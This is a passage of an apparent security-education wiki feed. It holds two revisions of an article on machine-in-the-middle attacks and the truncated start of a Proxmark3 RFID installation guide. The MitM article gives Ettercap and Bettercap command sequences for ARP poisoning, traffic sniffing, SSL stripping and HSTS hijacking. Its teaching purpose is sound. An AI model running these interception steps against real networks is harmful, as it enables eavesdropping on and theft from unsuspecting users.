ARP (Address Resolution Protocol, a stateless protocol, which is responsible for translating IP addresses to MAC addresses and maintaining that in a so-called ARP table) Spoofing manipulates the ARP tables in network devices by sending fake ARP messages (works any time as ARP is stateless). The attacker&#039;s MAC address is associated with the IP address of a legitimate device then, redirecting traffic through the attacker&#039;s system. Cache Poisoning involves injecting false data into the caches of user machines, routers, and/or switches.&lt;br /&gt;
ARP Spoofing just works when the attacker has access to the switched local network. A common goal for the attacker is to imitate the gateway the other devices are using to access the internet, as it is the most valuable connection from the perspective of the attacker.&lt;br /&gt;
&lt;br /&gt;
Think of ARP like this:&lt;br /&gt;
&lt;br /&gt;
[[File:ARP.png]]&lt;br /&gt;
&lt;br /&gt;
The attacker now wants to change the mapping of the IP address to MAC.&lt;br /&gt;
A very achievable goal for the attacker is to take the position between a client machine and the gateway as previously mentioned.&lt;br /&gt;
&lt;br /&gt;
[[File:ARPSpoofing.png|500px]]&lt;br /&gt;
&lt;br /&gt;
=== DNS Cache Poisoning ===&lt;br /&gt;
DNS Cache Poisoning exploits weaknesses in the DNS (Domain Name System which is used by network-capable devices to find the IP address to a given (human-readable) name (like a URI)) resolution process. Attackers inject malicious DNS records into the cache of DNS resolvers, leading to the resolution of incorrect IP addresses for domain names. By corrupting DNS data, attackers can redirect users to malicious websites without their knowledge. One famous example of this is the Kaminsky attack in 2008, which allowed to pretend as an attacker to be www.google.com – fortunately, its most serious flaws in DNS have been patched and it is not as easy anymore as in 2008 to become Google, Amazon, Facebook or any website you can think of.&lt;br /&gt;
&lt;br /&gt;
=== IP Spoofing ===&lt;br /&gt;
IP Spoofing is forging the source IP address in packets to deceive the target about the origin of the communication. IP spoofing is often used in conjunction with other techniques for more sophisticated attacks.&lt;br /&gt;
One example of an IP Spoofing attack would be the “Smurf attack”. Thereby the attacker sends a large number of Internet Control Message Protocol (ICMP) Echo Request (ping) packets with a spoofed source IP address to a network&#039;s broadcast address. This leads to a flood of ICMP Echo Reply packets being sent to the victim, overwhelming its network resources.&lt;br /&gt;
&lt;br /&gt;
=== WiFi MitM === &lt;br /&gt;
Similar to wired networks, MitM also works in wireless environments. To give you an understanding what this might be, we will focus on one specific attack, the “Evil Twin Access Point” attack. In this scenario, an attacker creates a rogue wireless access point (AP) with an SSID identical or closely resembling a legitimate/ trusted WiFi (using e.g., airgeddon). When a device (client) connects (when already connected with the legitime AP, the attacker will have to do a Deauthentication attack or Beacon Frame spoofing), the attacker gains the capability to intercept, monitor, or manipulate the data flowing between the victim&#039;s device and the network.&lt;br /&gt;
Especially in public WiFi this is dangerous, so one should be careful when using the WiFi at a restaurant/café, airport, train etc.&lt;br /&gt;
&lt;br /&gt;
== How to prevent MitM? ==&lt;br /&gt;
Preventing a MitM is as diverse as the attacks and techniques are. Going into detail would go beyond the scope of this article, but just to mention a few ideas: use of encrypted protocols (HTTPS with TLS 1.3, WPA3 for WiFi), intrusion detection/prevention systems (monitoring of network traffic), specialized solutions to specific threats/attacks (e.g., block packets with spoofed source addresses), update systems to patch known vulnerabilities and (as always) education of users (especially in corporate environments) that they should not access sensitive data over the Internet from an insecure WiFi.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
Taking two famous MitM Tools for demonstration: Ettercap and Bettercap&lt;br /&gt;
There are many tools on the market that facilitate a MitM attack. Two well-known tools should be presented here.&lt;br /&gt;
&lt;br /&gt;
=== Ettercap ===&lt;br /&gt;
&lt;br /&gt;
From the Ettercap website: “Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.” (https://www.ettercap-project.org/index.html, accessed: 22.12.2023)&lt;br /&gt;
&lt;br /&gt;
Ettercap has a GUI and is therefore easy/easier to use. In Kali Linux, it is preinstalled. When opening Ettercap-graphical, it shows a setup window, where you can change the primary (network) interface that should be used. In most cases (as in ours) the correct one will be selected automatically by Ettercap.&lt;br /&gt;
&lt;br /&gt;
[[File:Ettercap.png|400px]]&lt;br /&gt;
&lt;br /&gt;
When clicking the ‘Accept’ symbol (upper right corner), it will show the main view of the tool.&lt;br /&gt;
As can be seen in the screenshot below, Ettercap provides many options for MitM attacks.&lt;br /&gt;
&lt;br /&gt;
In this case, we want to focus on ARP Spoofing/Cache Poisoning (first option).&lt;br /&gt;
&lt;br /&gt;
[[File:Ettercap_ARP.png|600px]]&lt;br /&gt;
&lt;br /&gt;
In the following, a general step-by-step guide will be given on how one could do ARP Spoofing/Cache Poisoning.&lt;br /&gt;
&lt;br /&gt;
1. Scan hosts on the network by clicking the three dots in the upper right corner  Scan for Hosts&lt;br /&gt;
2. Select hosts by clicking on the three dots in the upper right corner  Host List  Select the victims (e.g., clients) and add them to Target 1. Select (e.g.,) the gateway and add them to Target 2.&lt;br /&gt;
3. Click on the “world-“symbol (see the screenshot above) and click ARP poisoning.&lt;br /&gt;
4. In the next opening window, click “OK”.&lt;br /&gt;
5. The ARP Spoofing attack should now be running. You can very that with e.g., Wireshark.&lt;br /&gt;
&lt;br /&gt;
Further attacks are now possible, e.g., by intercepting encrypted web traffic (i.e., HTTPS/TLS).&lt;br /&gt;
&lt;br /&gt;
=== Bettercap ===&lt;br /&gt;
&lt;br /&gt;
Bettercap declares itself as “[t]he Swiss Army knife for WiFi, Bluetooth Low Energy, wireless HID hijacking and IPv4 and IPv6 networks reconnaissance and MITM attacks.” (https://www.bettercap.org/, accessed: 22.12.2023)&lt;br /&gt;
&lt;br /&gt;
Also, here we want to do ARP Spoofing/Cache Poisoning.&lt;br /&gt;
&lt;br /&gt;
Bettercap is not preinstalled in Kali Linux, but you can easily install it with:&lt;br /&gt;
 sudo apt-get install bettercap&lt;br /&gt;
&lt;br /&gt;
Use these commands for a basic ARP Spoofing attack:&lt;br /&gt;
 sudo bettercap&lt;br /&gt;
 net.probe on&lt;br /&gt;
 net.show (optional)&lt;br /&gt;
 set arp.spoof.targets &amp;lt;single IP-address or -range with “-“ in the last octet&amp;gt;&lt;br /&gt;
 net.sniff on&lt;br /&gt;
 http-ui (if you want to see it graphically on 127.0.0.1:80 with user:pass)&lt;br /&gt;
 arp.spoof on&lt;br /&gt;
&lt;br /&gt;
[[File:Bettercap_UI.png|600px]]&lt;br /&gt;
&lt;br /&gt;
You can load in further “modules” (either in the UI or) in the terminal, for example, to also intercept HTTPS traffic (for websites that don’t have HSTS enabled):&lt;br /&gt;
 set https.proxy.sslstrip true&lt;br /&gt;
 https.proxy on&lt;br /&gt;
&lt;br /&gt;
[[File:Bettercap_HTTPSProxy.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Note that with other modules you might get into trouble with the bettercap from apt-get. For troubleshooting, try e.g., bettercap from the Github. (https://github.com/bettercap/bettercap/issues/958, accessed: 22.12.2023)&lt;br /&gt;
Therefore, follow these commands:&lt;br /&gt;
 sudo apt install -y golang git libusb-1.0-0-dev libpcap-dev libnetfilter-queue-dev&lt;br /&gt;
 git clone https://github.com/bettercap/bettercap.git&lt;br /&gt;
 cd bettercap&lt;br /&gt;
 go install&lt;br /&gt;
 go build&lt;br /&gt;
 sudo ./bettercap&lt;br /&gt;
&lt;br /&gt;
If you e.g. want to sniff HTTPS traffic and websites enabled HSTS, try the following commands:&lt;br /&gt;
 sudo ./bettercap&lt;br /&gt;
 net.probe on&lt;br /&gt;
 set arp.spoof.targets &amp;lt;single IP-address or -range with “-“ in the last octet&amp;gt;&lt;br /&gt;
 set arp.spoof.fullduplex true&lt;br /&gt;
 set arp.spoof.internal true&lt;br /&gt;
 arp.spoof on&lt;br /&gt;
 net.sniff on&lt;br /&gt;
 https.proxy on&lt;br /&gt;
 hstshijack/hstshijack&lt;br /&gt;
&lt;br /&gt;
[[File:Bettercap_HSTS.png|600px]]&lt;br /&gt;
&lt;br /&gt;
For further details, please note, that there is also a separate Elvis Wiki article: https://wiki.elvis.science/index.php?title=Bettercap&lt;br /&gt;
&lt;br /&gt;
== Further common tools you might try out ==&lt;br /&gt;
&lt;br /&gt;
* mitmproxy&lt;br /&gt;
** HTTPS Proxy&lt;br /&gt;
** https://mitmproxy.org/&lt;br /&gt;
* hetty&lt;br /&gt;
** (aims to become) open source alternative to Burp Suite Pro&lt;br /&gt;
** https://hetty.xyz/&lt;br /&gt;
* proxy.py&lt;br /&gt;
** Provides many functionalities, including MitM for HTTPS (TLS Interception)&lt;br /&gt;
** https://github.com/abhinavsingh/proxy.py&lt;br /&gt;
* Burp Suite (Community Edition)&lt;br /&gt;
** Widely used penetration testing tool, especially for Web Applications&lt;br /&gt;
** Can be used as MitM e.g., TLS Interception&lt;br /&gt;
** https://portswigger.net/burp/releases&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://csrc.nist.gov/glossary/term/mitm&lt;br /&gt;
* https://www.ettercap-project.org/index.html&lt;br /&gt;
* https://www.bettercap.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Machine-in-the-Middle_(MitM):_General&amp;diff=14646</id>
		<title>Machine-in-the-Middle (MitM): General</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Machine-in-the-Middle_(MitM):_General&amp;diff=14646"/>
		<updated>2024-03-12T18:35:24Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
This documentation aims to provide a general description of Machine-in-the-Middle (MitM) attacks and two examples of tools - Ettercap and Bettercap - are given. Note that MitM is a very broad term and a lot of aspects, methodologies, and tools will fall into this category. Especially in practice, people will often use the term &amp;quot;MitM&amp;quot; in a variety of contexts. Therefore, this article should give you just an overview: depending on your specific needs and goals a deeper dig into related documentation of the technologies and tools will be necessary. You might also firstly search here in the Elvis Wiki whether an article is already provided and you can start working with that.&lt;br /&gt;
&lt;br /&gt;
== What is a Machine-in-the-Middle (MitM) attack? == &lt;br /&gt;
&lt;br /&gt;
Formerly called “Man-in-the-Middle” attack this is nowadays deprecated as it is not gender-inclusive. Therefore, and to keep the commonly used abbreviation “MitM”, it is nowadays often called Machine-in-the-Middle or sometimes also “Person-in-the-Middle” (PitM).&lt;br /&gt;
&lt;br /&gt;
NIST, the National Institute of Standards and Technology, a very well-known and in the information security industry high renown organization, has the following – compact, though meaningful – definition of what a MitM is:&lt;br /&gt;
“An attack where the adversary positions themselves between the user and the system so that they can intercept and alter data traveling between them.” (https://csrc.nist.gov/glossary/term/mitm, accessed: 22.12.2023)&lt;br /&gt;
Please note, that the quotation has been adapted to comply with a gender-neutral language (themselves instead of himself and they instead of he).&lt;br /&gt;
The definition given above talks about “user” and “system”. In practice, the “user” is often a client (where the human user is working on an Internet-connected device), and the “system” is usually a server that provides services, processes requests, and delivers responses.&lt;br /&gt;
&lt;br /&gt;
In cyber security, it is often the goal of the adversary (or another interested party like security researchers) to gain a MitM position, as it allows this entity to read data (depending on the scenario the data might be e.g., encrypted), modify data, drop data, do further unintended actions or a combination of them.&lt;br /&gt;
&lt;br /&gt;
Think of a MitM attack like this:&lt;br /&gt;
&lt;br /&gt;
[[File:BasicMitM.png|500px]]&lt;br /&gt;
&lt;br /&gt;
In the picture, the MitM was between a client (user) and a web server providing a website.&lt;br /&gt;
&lt;br /&gt;
MitM is heavily connected to the concept of ‘spoofing’ where spoofing means, very basically speaking, the faking of the (source) parameter in a protocol to mimic another identity.&lt;br /&gt;
&lt;br /&gt;
Think of spoofing like this:&lt;br /&gt;
&lt;br /&gt;
[[File:BasicSpoofing.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== How are Machine-in-the-Middle attack (Tools) working? ==&lt;br /&gt;
&lt;br /&gt;
You have to know that MitM is a very general term and when going into more detail, it becomes clear that there exist several specific techniques to achieve a MitM position.&lt;br /&gt;
&lt;br /&gt;
Below are some common techniques provided with a short description.&lt;br /&gt;
&lt;br /&gt;
=== ARP Spoofing/Cache Poisoning ===&lt;br /&gt;
ARP (Address Resolution Protocol, a stateless protocol, which is responsible for translating IP addresses to MAC addresses and maintaining that in a so-called ARP table) Spoofing manipulates the ARP tables in network devices by sending fake ARP messages (works any time as ARP is stateless). The attacker&#039;s MAC address is associated with the IP address of a legitimate device then, redirecting traffic through the attacker&#039;s system. Cache Poisoning involves injecting false data into the caches of user machines, routers, and/or switches.&lt;br /&gt;
ARP Spoofing just works when the attacker has access to the switched local network. A common goal for the attacker is to imitate the gateway the other devices are using to access the internet, as it is the most valuable connection from the perspective of the attacker.&lt;br /&gt;
&lt;br /&gt;
Think of ARP like this:&lt;br /&gt;
&lt;br /&gt;
[[File:ARP.png]]&lt;br /&gt;
&lt;br /&gt;
The attacker now wants to change the mapping of the IP address to MAC.&lt;br /&gt;
A very achievable goal for the attacker is to take the position between a client machine and the gateway as previously mentioned.&lt;br /&gt;
&lt;br /&gt;
[[File:ARPSpoofing.png|500px]]&lt;br /&gt;
&lt;br /&gt;
=== DNS Cache Poisoning ===&lt;br /&gt;
DNS Cache Poisoning exploits weaknesses in the DNS (Domain Name System which is used by network-capable devices to find the IP address to a given (human-readable) name (like a URI)) resolution process. Attackers inject malicious DNS records into the cache of DNS resolvers, leading to the resolution of incorrect IP addresses for domain names. By corrupting DNS data, attackers can redirect users to malicious websites without their knowledge. One famous example of this is the Kaminsky attack in 2008, which allowed to pretend as an attacker to be www.google.com – fortunately, its most serious flaws in DNS have been patched and it is not as easy anymore as in 2008 to become Google, Amazon, Facebook or any website you can think of.&lt;br /&gt;
&lt;br /&gt;
=== IP Spoofing ===&lt;br /&gt;
IP Spoofing is forging the source IP address in packets to deceive the target about the origin of the communication. IP spoofing is often used in conjunction with other techniques for more sophisticated attacks.&lt;br /&gt;
One example of an IP Spoofing attack would be the “Smurf attack”. Thereby the attacker sends a large number of Internet Control Message Protocol (ICMP) Echo Request (ping) packets with a spoofed source IP address to a network&#039;s broadcast address. This leads to a flood of ICMP Echo Reply packets being sent to the victim, overwhelming its network resources.&lt;br /&gt;
&lt;br /&gt;
=== WiFi MitM === &lt;br /&gt;
Similar to wired networks, MitM also works in wireless environments. To give you an understanding what this might be, we will focus on one specific attack, the “Evil Twin Access Point” attack. In this scenario, an attacker creates a rogue wireless access point (AP) with an SSID identical or closely resembling a legitimate/ trusted WiFi (using e.g., airgeddon). When a device (client) connects (when already connected with the legitime AP, the attacker will have to do a Deauthentication attack or Beacon Frame spoofing), the attacker gains the capability to intercept, monitor, or manipulate the data flowing between the victim&#039;s device and the network.&lt;br /&gt;
Especially in public WiFi this is dangerous, so one should be careful when using the WiFi at a restaurant/café, airport, train etc.&lt;br /&gt;
&lt;br /&gt;
== How to prevent MitM? ==&lt;br /&gt;
Preventing a MitM is as diverse as the attacks and techniques are. Going into detail would go beyond the scope of this article, but just to mention a few ideas: use of encrypted protocols (HTTPS with TLS 1.3, WPA3 for WiFi), intrusion detection/prevention systems (monitoring of network traffic), specialized solutions to specific threats/attacks (e.g., block packets with spoofed source addresses), update systems to patch known vulnerabilities and (as always) education of users (especially in corporate environments) that they should not access sensitive data over the Internet from an insecure WiFi.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
Taking two famous MitM Tools for demonstration: Ettercap and Bettercap&lt;br /&gt;
There are many tools on the market that facilitate a MitM attack. Two well-known tools should be presented here.&lt;br /&gt;
&lt;br /&gt;
=== Ettercap ===&lt;br /&gt;
&lt;br /&gt;
From the Ettercap website: “Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.” (https://www.ettercap-project.org/index.html, accessed: 22.12.2023)&lt;br /&gt;
&lt;br /&gt;
Ettercap has a GUI and is therefore easy/easier to use. In Kali Linux, it is preinstalled. When opening Ettercap-graphical, it shows a setup window, where you can change the primary (network) interface that should be used. In most cases (as in ours) the correct one will be selected automatically by Ettercap.&lt;br /&gt;
&lt;br /&gt;
[[File:Ettercap.png|400px]]&lt;br /&gt;
&lt;br /&gt;
When clicking the ‘Accept’ symbol (upper right corner), it will show the main view of the tool.&lt;br /&gt;
As can be seen in the screenshot below, Ettercap provides many options for MitM attacks.&lt;br /&gt;
&lt;br /&gt;
In this case, we want to focus on ARP Spoofing/Cache Poisoning (first option).&lt;br /&gt;
&lt;br /&gt;
[[File:Ettercap_ARP.png|600px]]&lt;br /&gt;
&lt;br /&gt;
In the following, a general step-by-step guide will be given on how one could do ARP Spoofing/Cache Poisoning.&lt;br /&gt;
&lt;br /&gt;
1. Scan hosts on the network by clicking the three dots in the upper right corner  Scan for Hosts&lt;br /&gt;
2. Select hosts by clicking on the three dots in the upper right corner  Host List  Select the victims (e.g., clients) and add them to Target 1. Select (e.g.,) the gateway and add them to Target 2.&lt;br /&gt;
3. Click on the “world-“symbol (see the screenshot above) and click ARP poisoning.&lt;br /&gt;
4. In the next opening window, click “OK”.&lt;br /&gt;
5. The ARP Spoofing attack should now be running. You can very that with e.g., Wireshark.&lt;br /&gt;
&lt;br /&gt;
Further attacks are now possible, e.g., by intercepting encrypted web traffic (i.e., HTTPS/TLS).&lt;br /&gt;
&lt;br /&gt;
=== Bettercap ===&lt;br /&gt;
&lt;br /&gt;
Bettercap declares itself as “[t]he Swiss Army knife for WiFi, Bluetooth Low Energy, wireless HID hijacking and IPv4 and IPv6 networks reconnaissance and MITM attacks.” (https://www.bettercap.org/, accessed: 22.12.2023)&lt;br /&gt;
&lt;br /&gt;
Also, here we want to do ARP Spoofing/Cache Poisoning.&lt;br /&gt;
&lt;br /&gt;
Bettercap is not preinstalled in Kali Linux, but you can easily install it with:&lt;br /&gt;
 sudo apt-get install bettercap&lt;br /&gt;
&lt;br /&gt;
Use these commands for a basic ARP Spoofing attack:&lt;br /&gt;
 sudo bettercap&lt;br /&gt;
 net.probe on&lt;br /&gt;
 net.show (optional)&lt;br /&gt;
 set arp.spoof.targets &amp;lt;single IP-address or -range with “-“ in the last octet&amp;gt;&lt;br /&gt;
 net.sniff on&lt;br /&gt;
 http-ui (if you want to see it graphically on 127.0.0.1:80 with user:pass)&lt;br /&gt;
 arp.spoof on&lt;br /&gt;
&lt;br /&gt;
[[File:Bettercap_UI.png|600px]]&lt;br /&gt;
&lt;br /&gt;
You can load in further “modules” (either in the UI or) in the terminal, for example, to also intercept HTTPS traffic (for websites that don’t have HSTS enabled):&lt;br /&gt;
 set https.proxy.sslstrip true&lt;br /&gt;
 https.proxy on&lt;br /&gt;
&lt;br /&gt;
[[File:Bettercap_HTTPSProxy.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Note that with other modules you might get into trouble with the bettercap from apt-get. For troubleshooting, try e.g., bettercap from the Github. (https://github.com/bettercap/bettercap/issues/958, accessed: 22.12.2023)&lt;br /&gt;
Therefore, follow these commands:&lt;br /&gt;
 sudo apt install -y golang git libusb-1.0-0-dev libpcap-dev libnetfilter-queue-dev&lt;br /&gt;
 git clone https://github.com/bettercap/bettercap.git&lt;br /&gt;
 cd bettercap&lt;br /&gt;
 go install&lt;br /&gt;
 go build&lt;br /&gt;
 sudo ./bettercap&lt;br /&gt;
&lt;br /&gt;
If you e.g. want to sniff HTTPS traffic and websites enabled HSTS, try the following commands:&lt;br /&gt;
 sudo ./bettercap&lt;br /&gt;
 net.probe on&lt;br /&gt;
 set arp.spoof.targets &amp;lt;single IP-address or -range with “-“ in the last octet&amp;gt;&lt;br /&gt;
 set arp.spoof.fullduplex true&lt;br /&gt;
 set arp.spoof.internal true&lt;br /&gt;
 arp.spoof on&lt;br /&gt;
 net.sniff on&lt;br /&gt;
 https.proxy on&lt;br /&gt;
 hstshijack/hstshijack&lt;br /&gt;
&lt;br /&gt;
[[File:Bettercap_HSTS.png|600px]]&lt;br /&gt;
&lt;br /&gt;
For further details, please note, that there is also a separate Elvis Wiki article: https://wiki.elvis.science/index.php?title=Bettercap&lt;br /&gt;
&lt;br /&gt;
== Further common tools you might try out ==&lt;br /&gt;
&lt;br /&gt;
* mitmproxy&lt;br /&gt;
** HTTPS Proxy&lt;br /&gt;
** https://mitmproxy.org/&lt;br /&gt;
* hetty&lt;br /&gt;
** (aims to become) open source alternative to Burp Suite Pro&lt;br /&gt;
** https://hetty.xyz/&lt;br /&gt;
* proxy.py&lt;br /&gt;
** Provides many functionalities, including MitM for HTTPS (TLS Interception)&lt;br /&gt;
** https://github.com/abhinavsingh/proxy.py&lt;br /&gt;
* Burp Suite (Community Edition)&lt;br /&gt;
** Widely used penetration testing tool, especially for Web Applications&lt;br /&gt;
** Can be used as MitM e.g., TLS Interception&lt;br /&gt;
** https://portswigger.net/burp/releases&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://csrc.nist.gov/glossary/term/mitm&lt;br /&gt;
* https://www.ettercap-project.org/index.html&lt;br /&gt;
* https://www.bettercap.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Basics]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Proxmark3:_Installation&amp;diff=14645</id>
		<title>Proxmark3: Installation</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Proxmark3:_Installation&amp;diff=14645"/>
		<updated>2024-03-12T18:34:46Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Installation of [[Proxmark3 RDV2 Kit|Proxmark3]] on macOS, Linux and Windows for RFID and NFC sniffing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;color: red&amp;quot;&amp;gt;&lt;br /&gt;
To use the Bluetooth Module of the Proxmark3 RDV4 you need to install the https://github.com/RfidResearchGroup/proxmark3.git repository&lt;br /&gt;
&lt;br /&gt;
For installing on Linux please visit https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/md/Installation_Instructions/Linux-Installation-Instructions.md&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MacOS installation == &lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
Xcode (AppStore) is a must.&lt;br /&gt;
&lt;br /&gt;
In addition to make the installation easier have either HomeBrew or MacPorts ready.&lt;br /&gt;
A Tutorial for installing:&lt;br /&gt;
 A) HomeBrew: https://docs.brew.sh/Installation&lt;br /&gt;
 B) MacPorts: https://www.macports.org/install.php&lt;br /&gt;
&lt;br /&gt;
Because of their different architecture (HomeBrew/MacPorts), some parts of this tutorial are split into:&lt;br /&gt;
 A) Installation with HomeBrew&lt;br /&gt;
 B) Installation with MacPorts&lt;br /&gt;
Just choose the tutorial that suits your current setup.&lt;br /&gt;
&lt;br /&gt;
=== Installation with HomeBrew ===&lt;br /&gt;
&lt;br /&gt;
1. Download (&amp;quot;tap&amp;quot;) the proxmark repository:&lt;br /&gt;
&lt;br /&gt;
   brew tap proxmark/proxmark3&lt;br /&gt;
&lt;br /&gt;
2. Install proxmark3:&lt;br /&gt;
&lt;br /&gt;
   brew install proxmark3&lt;br /&gt;
&lt;br /&gt;
=== Manual Installation ===&lt;br /&gt;
&lt;br /&gt;
Download the drivers and install them.&lt;br /&gt;
If you have MacPorts:&lt;br /&gt;
&lt;br /&gt;
   sudo port install p7zip readline libusb libusb-compat perl5 wget qt5\\ arm-none-eabi-gcc pkgconfig&lt;br /&gt;
&lt;br /&gt;
If you have HomeBrew:&lt;br /&gt;
&lt;br /&gt;
   brew tap nitsky/stm32&lt;br /&gt;
   brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig\\ arm-none-eabi-gcc&lt;br /&gt;
&lt;br /&gt;
Now you will need to add QT to the PKG_CONFIG_PATH so it find QT5 (replace YOUR_VERSION with your version number:&lt;br /&gt;
&lt;br /&gt;
   export\\ PKG_CONFIG_PATH=/usr/local/Cellar/qt5/&amp;lt;&amp;lt;YOUR_VERSION&amp;gt;&amp;gt;/lib/pkgconfig/&lt;br /&gt;
&lt;br /&gt;
3. And add moc_location in Qt5Core.pc file:&lt;br /&gt;
&lt;br /&gt;
   export QT_PKG_CONFIG_QT5CORE=$(find /usr -name Qt5Core.pc 2&amp;gt;/dev/null)&lt;br /&gt;
   chmod 666 $QT_PKG_CONFIG_QT5CORE&lt;br /&gt;
   echo &amp;quot;moc_location=\${prefix}/bin/moc&amp;quot; &amp;gt;&amp;gt; $QT_PKG_CONFIG_QT5CORE&lt;br /&gt;
   chmod 444 $QT_PKG_CONFIG_QT5CORE&lt;br /&gt;
&lt;br /&gt;
4. For link creation to avoid any errors of &amp;quot;readline&amp;quot; (may happen):&lt;br /&gt;
&lt;br /&gt;
   brew link --force readline&lt;br /&gt;
&lt;br /&gt;
5. Now either git clone or manually download the Proxmark project. Git clone:&lt;br /&gt;
&lt;br /&gt;
   git clone https://github.com/Proxmark/proxmark3.git&lt;br /&gt;
&lt;br /&gt;
6. &amp;quot;cd&amp;quot; to the proxmark3 folder&lt;br /&gt;
&lt;br /&gt;
7. Now jump to the section &amp;quot;Connecting your Proxmark&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Connecting your Proxmark ===&lt;br /&gt;
&lt;br /&gt;
1. Insert your Proxmark and run&lt;br /&gt;
&lt;br /&gt;
   system_profiler SPUSBDataType&lt;br /&gt;
&lt;br /&gt;
2.a) If your Proxmark is CDC you should somewhere see in the output:&lt;br /&gt;
&lt;br /&gt;
   Product ID: 0x504d&lt;br /&gt;
   Vendor ID: 0x2d2d&lt;br /&gt;
&lt;br /&gt;
2.b) If your Proxmark is an HID device you should see:&lt;br /&gt;
&lt;br /&gt;
   Product ID: 0x4b8f&lt;br /&gt;
   Vendor ID: 0x9ac4&lt;br /&gt;
&lt;br /&gt;
If it is an HID Device you will need to upgrade it, then go to &amp;quot;Upgrading my Proxmark HID-&amp;gt;CDC&amp;quot;&lt;br /&gt;
If you have an CDC Proxmark you can jump to &amp;quot;Finish Line&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Upgrading my Proxmark HID-&amp;gt;CDC ===&lt;br /&gt;
&lt;br /&gt;
1. Compile the bootrom, OS and software:&lt;br /&gt;
&lt;br /&gt;
   make clean; make&lt;br /&gt;
&lt;br /&gt;
2. Also compile the HID compatible flash program:&lt;br /&gt;
&lt;br /&gt;
   cd client/hid-flasher;make&lt;br /&gt;
&lt;br /&gt;
3. Disconnect Apple&#039;s HID driver, by installing a dummy kernel driver:&lt;br /&gt;
&lt;br /&gt;
   sudo make install_kext&lt;br /&gt;
   sudo kextcache -system-caches&lt;br /&gt;
&lt;br /&gt;
4. Keep the Proxmark button pressed while reconnecting it to USB. Its yellow and red lights should light up (you can release the button after 5-ish seconds).&lt;br /&gt;
&lt;br /&gt;
5. Now upgrade the bootrom:&lt;br /&gt;
&lt;br /&gt;
   ./flasher -b ../../bootrom/obj/bootrom.elf&lt;br /&gt;
&lt;br /&gt;
6. cd ../..&lt;br /&gt;
&lt;br /&gt;
7. Disconnect your proxmark and keep the button pressed while reconnecting to USB.&lt;br /&gt;
&lt;br /&gt;
8. While keeping the button pressed run to get the device name:&lt;br /&gt;
&lt;br /&gt;
   ls /dev/cu*&lt;br /&gt;
&lt;br /&gt;
You should find a name like &amp;quot;/dev/cu.usbmodem####&amp;quot; (#### represents a number).&lt;br /&gt;
&lt;br /&gt;
9. While still KEEPING PRESSED the button update the FPGA and its OS:&lt;br /&gt;
&lt;br /&gt;
   ./client/flasher /dev/cu.usbmodem#### armsrc/obj/fullimage.elf&lt;br /&gt;
&lt;br /&gt;
10. Disconnect the proxmark and release the button.&lt;br /&gt;
&lt;br /&gt;
11. Now reconnect your proxmark to USB and run it:&lt;br /&gt;
&lt;br /&gt;
   cd proxmark3/client&lt;br /&gt;
   ./proxmark3 /dev/cu.usbmodem####&lt;br /&gt;
&lt;br /&gt;
No need to go to &amp;quot;Finish Line&amp;quot;, you are already finished with setting up the Proxmark Environment&lt;br /&gt;
&lt;br /&gt;
=== Finish Line ===&lt;br /&gt;
&lt;br /&gt;
1. Compile the bootrom and OS:&lt;br /&gt;
&lt;br /&gt;
   make clean; make&lt;br /&gt;
&lt;br /&gt;
2. Disconnect your Proxmark from USB. Then keep the button pressed while reconnecting it back to USB. You can release the button when you see yellow/orange and red lights on your proxmark. (If you have an Elechouse v2 Proxmark3 or Elechouse v3 Proxmark3 Easy you do not need to press the button)&lt;br /&gt;
&lt;br /&gt;
3. Figure out your device name:&lt;br /&gt;
&lt;br /&gt;
   ls /dev/cu*&lt;br /&gt;
&lt;br /&gt;
It should be something with /dev/cu.usbmodem#### (#### represents a number).&lt;br /&gt;
&lt;br /&gt;
4. After you have found your device run the program:&lt;br /&gt;
&lt;br /&gt;
   cd proxmark3/client&lt;br /&gt;
   ./proxmark3 /dev/cu.usbmodem####&lt;br /&gt;
&lt;br /&gt;
== Linux installation ==&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 16.04 trusty amd64&lt;br /&gt;
&lt;br /&gt;
=== Step 1 Compile resources:===&lt;br /&gt;
&lt;br /&gt;
1. download and install some needed packages and libs&lt;br /&gt;
&lt;br /&gt;
